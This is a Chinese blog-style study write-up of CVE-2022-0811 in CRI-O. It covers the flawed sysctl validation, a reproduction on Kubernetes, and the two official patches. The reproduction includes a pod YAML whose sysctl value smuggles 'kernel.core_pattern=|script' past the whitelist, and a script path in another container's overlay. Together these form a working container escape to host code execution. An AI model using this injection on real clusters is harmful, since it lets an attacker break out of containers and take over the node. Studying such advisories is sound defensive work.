CVE-2022-0811学习

漏洞分析

CVE-2022-0811是一个CRI-O漏洞,利用这个漏洞可以在创建容器时绕过CRI-O的限制,设置任意内核参数,并影响同一k8s节点下的其他容器。

在创建容器的时候,CRI-O通过pinns来设置内核参数,格式如下:

pinns -s key1=val1+key2=val2

可以看到pinns使用“+”字符来分割每个键值对。在调用pinns之前,CRI-O会先检查每个key的前缀,只有在key的前缀在白名单里时,才允许设置内核参数[1.1]:

var prefixNamespaces = map[string]Namespace{
    "kernel.shm": IpcNamespace,
    "kernel.msg": IpcNamespace,
    "fs.mqueue.": IpcNamespace,
    "net.":       NetNamespace,
}

// Validate checks that a sysctl is whitelisted because it is known to be
// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used
// to forbid sysctls for pod sharing the respective namespaces with the host.
// This check is only used on sysctls defined by the user in the crio.conf
// file.
func (s *Sysctl) Validate(hostNet, hostIPC bool) error {
    ......
    for p, ns := range prefixNamespaces {
        if strings.HasPrefix(s.Key(), p) {
            if ns == IpcNamespace && hostIPC {
                return errors.Errorf(nsErrorFmt, s.Key(), ns)
            }
            if ns == NetNamespace && hostNet {
                return errors.Errorf(nsErrorFmt, s.Key(), ns)
            }
            return nil
        }
    }
    return errors.Errorf("%s not whitelisted", s.Key())
}

如同前面提到的那样,CRI-O在调用pinns的时候,是直接把每个键值对用“+”拼接起来的[1.2]:

func getSysctlForPinns(sysctls map[string]string) string {
    // this assumes there's no sysctl with a `+` in it
    const pinnsSysctlDelim = "+"
    g := new(bytes.Buffer)
    for key, value := range sysctls {
        fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
    }
    return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
}

然而,上面的检查操作并没有对value进行检查,因此,可以通过在内核参数的value中加入另一对键值对来绕过key的检查,例如“value1+key2=value2”,其中key2和value2就是另一个内核参数的键值对,这样,最终调用pinns时的参数就是“key1=value1+key2=value2”,key2绕过了检查,但仍会被pinns识别并设置。

漏洞复现

系统:Ubuntu 20.04
Kubernetes: 1.23.4
CRI-O: 1.23.1

创建一个新的Pod,配置文件内容如下:

# pod-a.yaml
apiVersion: v1
kind: Pod
metadata:
  name: pod-a
spec:
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]

创建并进入Pod的shell:

kubectl create -f pod-a.yaml
kubectl exec -it pod-a -- /bin/sh

通过mount命令,可以得到如下结果:

其中,upperdir为/var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff,这是内核到容器根目录的路径。

创建一个脚本文件malicious.sh,内容为:

#!/bin/sh
date >> /var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/output

用chmod +x为这个文件添加执行权限,然后在根目录下touch一个output文件。

接下来创建另一个Pod,yaml内容为:

apiVersion: v1
kind: Pod
metadata:
  name: pod-b
spec:
  securityContext:
   sysctls:
   - name: kernel.shm_rmid_forced
     value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/malicious.sh #"
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]

再次进入pod-a的shell,获取/proc/sys/kernel/core_pattern的内容:

触发漏洞:

此时再次查看output文件,就可以得到脚本输出的内容:

官方修复

CRI-O官方发布了两个修复版本,第一个版本对key和value都进行检查,判断里面是否包含“+”,如果包含则会返回错误[3.1]:

for key, value := range sysctls {
    if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {
        return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)
    }
    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
}

第二个版本则是修改了pinns的调用方式,通过多个“-s”来设置多个内核参数,而不是像之前那样用“+”拼接起来[3.2]

for key, value := range cfg.Sysctls {
    pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))
}

参考

[1.1] https://github.com/cri-o/cri-o/blob/v1.23.1/pkg/config/sysctl.go#L73
[1.2] https://github.com/cri-o/cri-o/blob/v1.23.1/internal/config/nsmgr/nsmgr.go#L174
[2.1] https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
[2.2] https://zone.huoxian.cn/d/1003-kubernetes-cri-ocve-2022-0811
[3.1] https://github.com/cri-o/cri-o/commit/c0b2474b80fd0844b883729bda88961bed7b472b
[3.2] https://github.com/cri-o/cri-o/commit/76f1301c9eb979cbecdbbbb41ed72774285a814c

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注